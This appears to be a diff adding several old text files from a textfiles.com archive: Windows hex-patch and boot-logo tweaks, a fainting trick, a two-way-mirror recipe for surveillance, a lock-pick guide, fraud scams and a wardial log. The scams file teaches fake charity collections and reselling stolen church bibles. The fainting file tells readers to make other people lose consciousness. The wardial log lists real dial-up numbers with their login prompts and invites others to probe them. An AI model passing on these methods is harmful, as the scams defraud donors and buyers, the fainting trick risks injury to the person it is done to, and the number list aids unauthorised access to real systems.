NOTE: THIS ONLY COVERS AMERICAN VERSIONS OF WINDOWS.
NOTE: in order for this information to be useful you need a hex editor, in
which you use it on your explorer.exe located usually in C:\Windows or
C:\WINNT.
Hackman recommended: http://www.technologismiki.com/en/index-h.html
- - - - - - - - - - - - - - - - -
USING HACKMAN TO FIND OFFSETS...
- - - - - - - - - - - - - - - - -
::this is based on 7.01::
launch hackman, open explorer.exe
press ctrl + j, enter the offset to go to...don't bother to include
the 0x in front of the offset. (i.e. 0x0219 would be just 0219)
[WINDOWS 95 OEM]
go to the following offsets:
0x0C496 - change 01 to 11
0x0E6CF - change 01 to 11
0x1E86F - change 01 to 11
[WINDOWS 95 OEM SERVICE PACK 1]
go to the following offsets:
0x37C2 - change 01 to 11
[WINDOWS 95 OEM SERVICE PACK 2]
go to the following offsets:
0x3895 - change 01 to 11
[WINDOWS 98 SECOND EDITION]
go to the following offsets:
0x4B6B - change 01 to 11
0xB4D2 - change 01 to 11
[WINDOWS 2000 GOLD 5.0.2920.0 EXPLORER VERSION]
go to the following offsets:
0x19E5 - change FF 74 24 18 to 6A 11 90 90
[WINDOWS 2000 GOLD 5.0.3103.1000 EXPLORER VERSION]
go to the following offsets:
0xCFA3 - change 01 to 11
0x1DE3 - change 01 to 11
0x14749 - change 01 to 11
0x1475A - change 01 to 11
[WINDOWS 2000 SERVICE PACK 1]
go to the following offsets:
0x1D51 - change FF 74 24 18 to 6A 11 90 90
[WINDOWS 2000 SERVICE PACK 2]
go to the following offsets:
0x01DDB - change 01 to 11
0x0CFD3 - change 01 to 11
0x0147E9 - change 01 to 11
0x0147FA - change 01 to 11
[WINDOWS 2000 SERVICE PACK 3]
go to the following offsets:
0x01CD6 - change 01 to 11
0x0D7DC - change 01 to 11
0x14CE1 - change 01 to 11
0x14CF2 - change 01 to 11
[WINDOWS 2000 Service Pack 4]
go to the following offsets:
0x088E6 - change 01 to 11
0x14E1D - change 01 to 11
0x14E2E - change 01 to 11

69
textfiles.com/uploads/2kboot.txt Normal file
View File

@@ -0,0 +1,69 @@
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
REPLACING WINDOWS 2000 BOOT SCREEN
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
The boot logo works a LOT different from Windows 95/98/ME, you can't simply
make a bitmap and name it logo.sys for it to work. Its a long process, but
here we go:
First thing you need is to get Resource Hacker, which can be found at
http://www.rpi.net.au/~ajohnson/resourcehacker/, Install the program and
open it.
Using Resource Hacker head to ntoskrnl.exe (located C:\WINNT\System32), open
it. Go to Bitmap > 1, click Action - Save [Bitmap : 1], save the file to your
hard drive.
Open your favorite graphics editor, and modify the boot logo to your liking.
Now save it, make ABSOLUTELY SURE that the new file is in 16 colors! (16 not
16-bit) If the file is higher than 16 colors you WILL NOT see your boot screen
you'll be greeted instead by a nice Black Screen.
If you need help making the colors into 16 color instead of high color, read
this paragraph, if not skip. First download Paint Shop Pro 7 (www.jasc.com),
open your bitmap with the program. Now with the image open:
- Click Colors > Decrease Color Depth
- Click 16 Colors
- Click OK
- Save the file as a bitmap
Now, run Resource Hacker again, open ntoskrnl.exe again.
- Click Action > Replace Bitmap
- Highlight 1, click Open file with new bitmap
- Open your new boot logo file
- Click Replace
- Click Close
- Click File - Save As..
- Save file as kernel2.exe in C:\WINNT\System32
Now we need to add it to boot options:
- Click Start > Run.. > type command > click OK
- type attrib boot.ini -r -a -s -h, press enter
- now open C:\ through explorer and edit boot.ini using a text editor
- Copy and Paste the existing "Windows 2000 Professional" entry
- Change ONE of the "Windows 2000 Professional" entries to your liking
- after '/fast detect' add '/kernel=kernel2.exe'
- Click File > Save
- Click Start, Run.. > type command
- now type attrib boot.ini +r +a +s +h
FINALLY, reboot your machine and select the new entry you created when you
modified boot.ini. Volia! your logo should now appear!
If you want to use your logo everytime without the boot menu:
- Right-click on My Computer
- Click Advanced Tab
- Highlight the modified entry under 'Default operating system'
- Uncheck 'Display list of operating systems for'
- click ok
- click ok again
Written by: ParanoidXE (nemesisera@yahoo.com)
Dated: 05/17/02
<EFBFBD> paranoidxe 2002-2003

44
textfiles.com/uploads/2killerhigh.txt Normal file
View File

@@ -0,0 +1,44 @@
*********************************************************************************
** *** *** ** ***** *** *** *** ***** **** *** ***
** * * * * * * * * * * * * * * * * ***
** ***** *** ** * *** ***** * * *** * * ***
** * A * *B * S * T *R* * A * * C * T *E *D * ***
** * * *** ** * * * * * *** * ***** *** ***
** [composed by abstracted] ***
*********************************************************************************
T H E N E W J E R S E Y H I G H B Y A B S T R A C T E D*
*
/\/\/\/\/\/\ *
<INTRODUCTION> *
\/\/\/\/\/\/ *
THIS IS JUST A COMPILATION A SUMMARY OF THE KNOWLEDGE I HAVE OBTAINED ON THE NEW*
JERSEY HIGH OVER THE LAST FEW YEARS. I HAVE DONE THIS "TRICK" ON MANY PEOPLE AND*
HAS PROVED SUCCESFUL IN MOST CASES. WARNING: DO NOT PERFORM THIS IF YOU DO NOT *
HAVE LIFE INSURANCE. SOMETIMES, RARELY, IN CERTAIN CONDITIONS FROM WHAT I'VE *
SEEN THE PERSON WHO IS UNCONCIENCE SHAKES. THIS IS BECUASE OF THE UNBALANCE THAT*
THE SUGAR AND THE PERSON'S HEART WITHSTAND. I HAVE NEVER SEEN ANYBODY GET HURT *
FROM THIS BUT I HAVE DONE RESEARCH AND IT HAS BEEN PROVEN THAT IF YOU DO IT TO A*
GREAT EXCESS, THEN THERE MIGHT BE NEGATIVE SIDE EFFECTS. I TAKE NO BLAME FOR ANY*
MISHAPPENINGS THAT OCCUR WHILE ATTEMPTING THE NEW JERSEY HIGH. *
*
/\/\/\/\/\/\ *
<INSTRUCTIONS> *
\/\/\/\/\/\/ *
OKAY THEN AS LONG AS YOU AGREE TO ALL THE BULLSHIT IN THE PARAGRAPH ABOVE, WE *
ARE MAKING PROGRESS. OK FIRST YOU TAKE THE PERSON YOU ARE PERFORMING THIS TO AND*
YOU MAKE THEM ON THEIR TOES, YET IN A CROUCHING POSITION (USUALLY WITH THEIR *
HEAD LEANING ON SOMETHING LIKE A COUCH). NOW YOU ASK THEM TO CROSS THEIR CHEST *
WITH THEIR ARMS AND ASK THEM TO SLOWLY (WORKS BEST IF THEY DO IT AS SLOW AS *
POSSIBLE) INHALE AND KEEP THE OXYGEN IN THEIR LUNGS FOR ABOUT 5 SECONDS PER TIME*
THEN EXHALE. THEY DO THIS ABOUT 7-10 TIMES (10 FOR BEST RESULTS) THEN THEY TAKE *
1 LAST BREATH THEN STAND ON THE TIP OF THEIR TOES WITH THEIR BACK AS STRAIGHT AS*
POSSIBLE. NOW YOU BEAR HUG THEIR CHEST (WHERE THEIR ARMS ARE CROSSED) AND ASK *
THEM TO SLOWLY EXHALE. MUAHAHAHAH!! THEY JUST FAINTED. SLOWLY LIE THEM ON THE *
COUCH OR FLOOR. CAUTION: WHEN YOU GET THEM MAKE SURE YOU SECURE THEIR HEAD CAUSE*
WHEN YOU PUT THEIR HEAD ON THE FLOOR SOMETIMES IT HITS A LITTLE HARD AND THEY *
WAKE UP WITH A MAD HEADACHE. THEY USUALLY WAKE UP FROM ABOUT 20 SECS TO ABOUT A *
MINUTE (FROM WHAT I'VE SEEN). LATER. *
** -ABSTRACTED *
*********************************************************************************
*************************************[END]***************************************
*********************************************************************************

2169
textfiles.com/uploads/2ktips.txt Normal file
View File

File diff suppressed because it is too large Load Diff

85
textfiles.com/uploads/2waymir.txt Normal file
View File

@@ -0,0 +1,85 @@
How to Make a Two-Way Mirror
Written By: ZERO
October 14 2001
---------------
zerotextspy@yahoo.com
The use of a two-way mirror to monitor what is going on outside a hidden room from within is a
well-known practice. It may be that you are to undertake some sort of surveillance operation
where a hidden camera is to be used, or maybe you just want a quick and simple method of checking
that the outside area of the hidden room is clear before you make your exit. Once again, the
possible uses are endless, but such mirrors are often expensive to purchase, especially if you
require a custom-built on to suit a specific purpose. With a little work, however, you can make
your own two-way mirrors cheaply and easily. As the construction of these two-way mirrors
requires the use of chemicals, be sure to take normal precautions including the wearing of gloves
and, if available, protective glasses.
Normal window glass is used, and the first step is to ensure that the selected piece is
chemically clean. This is best achieved by bathing the glass in a sugar soap solution, or by
swabbing with dilute acid. Sugar soap is a chemical product used by decorators. It contains no
soap as such, and soap should never be used in an attempt to clean the glass. After either of
these treatments wash down the glass with clean water. Leave the glass, supported at only its
edges, to dry naturally. During this time you can prepare the chemicals needed as follows.
First, obtain three glass containers; jam jars will do nicely. Mark the jars 1,2, and 3 to avoid
confusion later. Into the first jar, pour 300 mls of distilled water and to this add 28 gs of
silver nitrate. Stir well.
Into the second jar, pour 30 mls of the solution from jar one.
The next stage is to add with an eye dropper small quantities of aqua ammonia (10 percent
strength is enough) to the solution in jar one. As the aqua ammonia is added the solution will
turn brown but then clear again as the solution is stirred. Continue adding the ammonia until the
solution only just clears, or is just on the verge of remaining brown. At this stage the mix is
correct.
The solution for jar three is made exactly as follows. Pour 300 mls of distilled water into the
jar and then slowly add, in small amounts, 28 gs of caustic potash. A degree of heat is generated
as the chemicals mix, and the resulting solution must be allowed to cool before continuing with
the process, which is simply to add the contents of jar three to those of jar one. Stir the
solution, and add small quantities of aqua ammonia until the solution is neither fully clouded
nor compleately brown.
Next add the solution in jar two to that in jar one. The mixture will now turn dark brown again.
The final stage in the preparation of the mixture is to add 15 gs of common glucose to 300 mls of
distilled water. Stir well and add this to jar one. This mix is the final working solution. The
glass to be used is supported at its edges, and a shelf or wall of melted wax or putty affixed
around the upper edge. The solution in jar one is poured over the glass until the surface is
thinly but uniformly covered.
Leave the glass for about twenty-five minutes to allow the process to take effect. At intervals
of a few minutes, look from underneath the glass to see that a mirror surface is forming. At the
same time, check that some item placed beneath the glass is visible from above. Once this stage
is reached, pour off any exess solution and rinse the glass under running water. Allow it to dry
naturally. A thin coat of clear varnish or plastic seal can be applied to the treated
(see-through side) of the glass for added protection. In position, the effect is heightened if
the mirror-side area is well lit and the see-through side (hidden room) is somewhat darker.
The Technique for cutting glass, or tiles for that matter, is given below. Using this method
saves on time and also on glass! Place the glass on a level surface padded with rags or newspaper
and mark the dimensions to be cut using a pencil or felt-tip pen. Place a straight edged tool
across the marks and score the surface with one smooth stroke of the glass cutter. Hold the
cutter between your pointing finger, and your middle finger. Don't be tempted to make another
score with the cutter, as this damages the cutting wheel.
Next place the glass over the ruler (or other straight edge) and press down on both sides,
snapping the glass cleanly in two. If patterned glass is used, the score mak is of course made on
the smooth side.
And that concludes how to make a two-way mirror. If you have suggestions on what you would like
me to write a how-to on, then please e-mail me at the address shown at the top. You may
distribute this text file freely, You may also put it on any website that you want. but you may
not omite my name in any way whatsoever. You must keep everything the same as it was when you got
it.

23
textfiles.com/uploads/3scams.txt Normal file
View File

@@ -0,0 +1,23 @@
3 COOL SCAMS
BY: DIzzIE <20>1999
Here are some things you can do on a boring summer afternoon to get some extra cash:
1. HELPING THE CHURCH =FREE MONEY
Sometimes Your local cult, errrr, church, will be giving out free bibles, or verses, or new testament books, or something of that sort. Usually they will be in a stack right beside the church or right inside it, on a little table. Grab the books, then look for cardboard boxes (usually under the table) full of the books. Get those too! Then run away from that place of evil. Then go to the other side of town and start selling the books for about a buck a book. Say you're helping raise money for the church to buy food and heating for the homeless shelters. Some good people to sell the books to are old ladies, and politicians. Yup! Politicians (or used car salesmen), come up to one while they are being taped on tv and ask them to buy several books, they will look pretty bad if they don't buy any books.
2. SELLING STUFF FROM CATALOGS =FREE MONEY
You know those companies that send you catalogs of overpriced magazines and other shit, and actually expect you to go door to door and sell their products, so they get all the money, and you get 5%, or a little cheap prize? Ofcourse you do! Well why not reward your work and get a 100% profit? Just go and sell the stuff in another neighborhood, and keep all the money you make. If the person who actually bought something asks for a receipt that supposed to have your phone number and address on it, just right down some other looser's number.
Need help finding a company that actually does that? (sends you catalogs of stuff and expects you to sell them) (yes, they do exist). Here's a company like this: just write to them or phone them and ask them for a sales kit
Olympia Sales Club
215 Moody Rd P.O. Box 1800
Enfield, CT 06083-1800
Phone # 1-860-763-3561
Email : olympiaOSI@aol.com
Web: www.olympiaosi.com
3. DOOR TO DOOR CHARITY =FREE MONEY AND OTHER STUFF
This scam has been around for a while now, but it still works. Just get a coffee can and cover the outside with a typed paper that says "American Cancer Society Fundraiser," or "M.A.D.D. Fundraiser." Next just go door to door and give this speech about collecting money for that particular organization. Be sure to wear a suit, and comb your hair. You can also say that you are collecting other stuff to like old furniture, canned goods. If they give you any of that you can keep it or resell it at a garage sail or swap meet to get even more cash!
Well have fun kids!
You can always email me at: xcon0@yahoo.com or fax at 1-559-663-4067

136
textfiles.com/uploads/508752.txt Normal file
View File

@@ -0,0 +1,136 @@
The 752 Wardial Project
Author: NO CARRIER
Release: 12/25/2002
Contact: dtmf@email.com
Preface
-------
This file is the results of a modem wardial of the entire 752 exchange in
the 508 area code. The 752 exchange is located in Worcester Massachusetts,
and is a very old exchange. The wardial began on December 9, 2002, and
was completed on December 13, 2002.
Keys & Notes
------------
HNG - Modem picked up, connected, then disconnected.
NO ANSWER - The number was noted as a carrier, but rang out when called.
If there is nothing under the 'Notes & Information' collum, then the
system did not respond to any keys. If anyone happens to dial up one
of the systems that don't respond, and find something interesting on
one of them, drop an email to dtmf@email.com, and let me know what
you've found.
I'm also planning on releasing a seperate file with non modem phone
numbers that were found and noted during this carrier scan. So look
for that sometime in the near future.
Carrier Results
---------------
+1 508-752-XXXX
---------------------------------------------------------------------
Number Baud/bps Notes & Information
---------------------------------------------------------------------
752-0055 31200
752-0059 28800 HNG
752-0137 31200 login:
752-0276 31200
752-0446 2400
752-0484 1200 HNG
752-0516 28800 AAAAAAA
752-0522 14400 OpenVMS Alpha Operating System V7.2-1
752-0724 31200
752-0728 14400
752-1026 2400 (Garbled) -> Displays date and temp.
752-1069 14400 OpenVMS Alpha Operating System V7.2-1
752-1135 9600 ENTER PASSWORD
752-1138 2400
752-1160 14400
752-1261 31200 Enter login name:
752-1262 31200 siteman!login:
752-1347 33600 Garbage. (Windows dial-up server ?)
752-1383 19200 Garbage -> +++ (Escape Sequence)
752-1406 14400 Login: -> (VT100)
752-1427 9600
752-1713 33600
752-1765 2400
752-1782 31200 **B000000023be50
752-1883 14400 User Access Verification - Username:
752-1936 26400 **B000000023be50
752-2436 2400
752-2895 2400 PQNode Control Program On-Line version A3.6
752-2896 33600 ROLM CBX MODEL 10 -> (7,E,1)
752-2918 300 COCOT (?)
752-2951 28800 ?~?~?~?~?~
752-3205 2400 SALISB login: -> (7,E,1)
752-3368 26400
752-3543 14400 CCITRIAD PRISM
752-3617 1200
752-3959 2400 ?~?~?~?~?~
752-4202 1200 HNG
752-4264 14400
752-4333 24000
752-4505 1200 Garbage.
752-4507 14400 User Access Verification - Password:
752-5045 28800
752-5143 2400 SALISB login: (Scrolls) -> (7,E,1)
752-5194 2400 ENTER ID:
752-5468 14400 login:
752-5508 9600 Building Name : WORCESTER MARKET
752-5724 9600 SCO OpenServer(TM) Release 5
752-5852 2400 Welcome to VAX/VMS V5.5
752-5946 9600 Enter Password: -> (7,E,1)
752-5965 2400 Garbage.
752-6041 9600 Enter Password:
752-6349 14400
752-6439 33600
752-6529 33600 USRobotics Courier V.Everything Dial Security Session
752-6581 33600
752-6658 9600 Tyco Electronics Network
752-6760 26400
752-7177 14400
752-7256 2400 C2000 Login - 2WORCESTER-I97A -> (VT100)
752-7308 NO ANSWER
752-7530 1200 Displays stats. -> (7,E,1)
752-7645 1200
752-7822 1200
752-7843 31200
752-7845 31200 User Access Verification - Username:
752-7852 28800 USL UNIX System V Release 4.2 Version 1
752-7890 14400 Login:
752-7999 14400
752-8232 NO ANSWER
752-8309 1200
752-8352 31200 Garbage.
752-8643 2400
752-8791 33600 Enter password:
752-8830 28800
752-8988 9600
752-9035 14400
752-9167 28800 Lot of garbage then disconnects.
752-9180 9600 SCO OpenServer(TM) Release 5
752-9191 31200 neescom-jci> -> [Type '?' at the prompt]
752-9353 1200 HNG
752-9395 33600 Garbage.
752-9407 33600
752-9446 1200 HNG
752-9553 33600 Enter login name:
752-9726 1200 HNG
752-9732 14400 SCO OpenServer(TM) Release 5 (From Compaq)
752-9759 1200
752-9951 14400 NNN
752-9999 14400 NNN

96
textfiles.com/uploads/5steplockp.txt Normal file
View File

@@ -0,0 +1,96 @@
|##########################################################|
|Five Step Guide to making lock picks with house hold items|
| |
| By: Steve R. July 21,2006 |
|##########################################################|
-----------------------------------------------------------
This text file was not made to be used to assist criminals
or want to be criminals. I am no way responsible for what
you do with these picks you create and the consequences
you might face.
-----------------------------------------------------------
OK first things first, here are some items you WILL need for
this project:
-Grinder with fine grain wheel
-Carbon steel hack saw blades (other blades don't make the cut for strength)
-Metal coat hanger (no paint on it)
-Plastic cup
-Water
-Propane torch
-Two sets of needle nose pliers
-Safety Glasses (thats right, no one is getting hurt)
OPTIONAL ITEMS
-Rotary tool with cutting disks
-Vice
-----------------------------------------------------------
>STEP 1<
Prepare your work area. Fill up your plastic cup with water
(you can use a regular class if you don't mind getting rust
stuck to the bottom of it). Place your cup of water near the
grinder for easy access. This will be used as a quencher
since metal heats up as you grind it. Also have your torch
ready for later on.
>STEP 2<
Take your carbon steel hack saw blade and snap it into 1/3s.
you should be able to make three picks out of one blade if
you don't mess up. Also before you move on to the next step
decide what types of picks you want to make. Google some shapes.
>Step 3<
start grinding your 1/3 of a hack saw blade leaving about
an inch or maybe little less for a handle. REMEMBER IF YOU
START FEELING A LITTLE BIT OF HEAT QUENCH THE BLADE IN YOUR
CUP OF WATER OR YOU COULD GET BURNED VERY BAD.
You should grind it down to around 1/8 of an inch but leave
a little more on near the end so you can turn it into what
ever you want. You can also use a rotary tool if you feel
confident. But use a vice with a rotary tool. But leave the
blade teeth, you never know when you might need them.
DON'T FORGET TO QUENCH!
^^^^^^^^^^^^^^^^^^
Now that you have some picks, you need a tension wrench or
torque tool, what ever you want to call it. I have tried
making them out of hack saw blades and they all got warped
from pressure or just snapped off. My friend snapped his
off in a lock. After many experiments I recently found
something that works. This is where the coat hanger comes
in.
^^^^^^^^^^^^^^^^^
>Step 4<
Take an intact coat hanger and cut of the hoop before the twists.
Bend the hoop until it is striaght with out using or using the
torch. Now light the torch and take the two pliers and bend the
piece of the coat hanger into a L shape, have the bottom part of
the L be 3/4 of an inch to an inch. Quench immediatly after bending
to the L. OR you could use a flat head screw driver and follow step 5.
>Step 5<
Barely grind down the bottom of the L so it barely fits in a lock, you
want it nice and snug.
----------------------------------------------------------------------
P.S. With the coat hanger tension wrench if the handle twists or bends
it can be easily be bent back in shape.
Don't forget to experiment with making custom picks and tension wrenchs.

Some files were not shown because too many files have changed in this diff Show More